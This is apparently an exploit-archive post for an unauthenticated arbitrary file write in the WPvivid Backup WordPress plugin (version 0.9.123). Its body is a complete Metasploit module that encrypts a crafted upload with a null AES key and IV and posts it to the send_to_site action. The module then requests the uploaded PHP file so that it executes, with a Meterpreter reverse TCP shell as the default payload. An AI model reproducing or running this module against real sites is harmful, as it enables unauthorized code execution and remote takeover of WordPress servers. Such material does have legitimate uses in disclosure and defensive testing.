📄 WordPress WPvivid 0.9.123 Arbitrary File Write

=============================================================================================================================================
    | # Title     : WPvivid 0.9.123 Backup Plugin Unauthenticated File Write                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore                                                            |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module exploits an unauthenticated arbitrary file write vulnerability in the WPvivid Backup Plugin used in WordPress websites.
                     The vulnerability allows an attacker to send a specially crafted encrypted payload to the vulnerable endpoint using the parameter wpvivid_action=send_to_site. 
    				 The plugin processes the payload using AES-128-CBC encryption with a null key and IV, allowing attackers to mimic legitimate backup transfer traffic.
    
    [+] The module performs the following steps:
    
    Payload Generation
    
    Constructs a JSON object containing:
    
    file name
    
    offset
    
    base64-encoded file content
    
    file size
    
    MD5 checksum
    
    Encrypts the JSON using AES-128-CBC with a null key and IV.
    
    Wraps the encrypted blob with WPvivid’s expected format and encodes it in Base64.
    
    Payload Delivery
    
    Sends the crafted payload via an HTTP POST request to the target WordPress site.
    
    Uses the parameters:
    
    wpvivid_action
    
    wpvivid_content.
    
    File Upload
    
    If successful, the plugin writes the supplied file into:
    
    /wp-content/wpvividbackups/
    
    Verification
    
    The module optionally checks whether the uploaded file is accessible via HTTP.
    
    Remote Code Execution
    
    If the uploaded file is a PHP payload (for example a Meterpreter stager), it can be executed remotely.
    			  
    [+] POC   : 
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    require 'json'
    require 'openssl'
    require 'digest'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      NULL_KEY = "\x00" * 16
      NULL_IV  = "\x00" * 16
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress WPVivid Plugin Unauthenticated File Write',
            'Description' => %q{
              Exploits an unauthenticated file write vulnerability in the
              WordPress WPVivid Backup plugin.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Targets' =>
            [
              [
                'PHP In-Memory Payload',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' =>
                  {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-01-01',
            'DefaultTarget' => 0
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
            OptString.new('FILENAME', [false, 'Filename to write', '']),
            OptString.new('PAYLOAD_CONTENT', [false, 'Custom PHP payload', '<?php phpinfo(); ?>']),
            OptBool.new('VERIFY', [true, 'Verify file write', true]),
            OptInt.new('HTTP_TIMEOUT', [true, 'HTTP timeout', 3])
          ]
        )
      end
    
      def http_timeout
        datastore['HTTP_TIMEOUT']
      end
    
      def generate_wpvivid_payload(filename, content)
    
        file_md5 = Digest::MD5.hexdigest(content)
    
        json_obj =
        {
          'name' => filename,
          'offset' => 0,
          'data' => Rex::Text.encode_base64(content),
          'file_size' => content.length,
          'md5' => file_md5
        }
    
        json_str = json_obj.to_json
    
        cipher = OpenSSL::Cipher.new('AES-128-CBC')
        cipher.encrypt
        cipher.key = NULL_KEY
        cipher.iv  = NULL_IV
    
        encrypted = cipher.update(json_str) + cipher.final
    
        key_len_field   = '000'
        cipherlen_field = encrypted.length.to_s(16).rjust(16, '0').upcase
    
        blob = key_len_field + cipherlen_field + encrypted
    
        Rex::Text.encode_base64(blob)
      end
    
      def send_payload(payload)
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri'    => normalize_uri(target_uri.path),
            'vars_post' =>
            {
              'wpvivid_action'  => 'send_to_site',
              'wpvivid_content' => payload
            },
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return false unless res.code == 200
    
        begin
          json = res.get_json_document
          return true if json['result'] == 'success'
        rescue JSON::ParserError
        end
    
        false
      end
    
      def verify_file(filename)
    
        uri = normalize_uri(
          target_uri.path,
          'wp-content',
          'wpvividbackups',
          filename
        )
    
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri' => uri,
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return true if res.code == 200
    
        false
      end
    
      def check
    
        test_filename = "msf_#{Rex::Text.rand_text_alpha(5)}.txt"
        test_content  = Rex::Text.rand_text_alpha(10)
    
        payload = generate_wpvivid_payload(test_filename, test_content)
    
        if send_payload(payload)
    
          if verify_file(test_filename)
            register_file_for_cleanup(test_filename)
            return CheckCode::Vulnerable
          end
    
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      def exploit
    
        filename = datastore['FILENAME']
    
        if filename.blank?
          filename = "#{Rex::Text.rand_text_alpha(8)}.php"
        end
    
        content =
          if datastore['PAYLOAD'].start_with?('php/')
            payload.encoded
          else
            datastore['PAYLOAD_CONTENT']
          end
    
        print_status("Generating payload...")
    
        wpvivid_payload = generate_wpvivid_payload(filename, content)
    
        print_status("Sending payload...")
    
        unless send_payload(wpvivid_payload)
          fail_with(Failure::Unknown, 'Payload send failed')
        end
    
        print_good("Payload sent")
    
        if datastore['VERIFY']
    
          print_status("Verifying file...")
    
          if verify_file(filename)
    
            register_file_for_cleanup(filename)
    
            print_good("File uploaded successfully")
    
            uri = normalize_uri(
              target_uri.path,
              'wp-content',
              'wpvividbackups',
              filename
            )
    
            send_request_cgi(
              {
                'method' => 'GET',
                'uri' => uri,
                'timeout' => http_timeout
              }
            )
          else
            print_error("File not verified")
          end
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================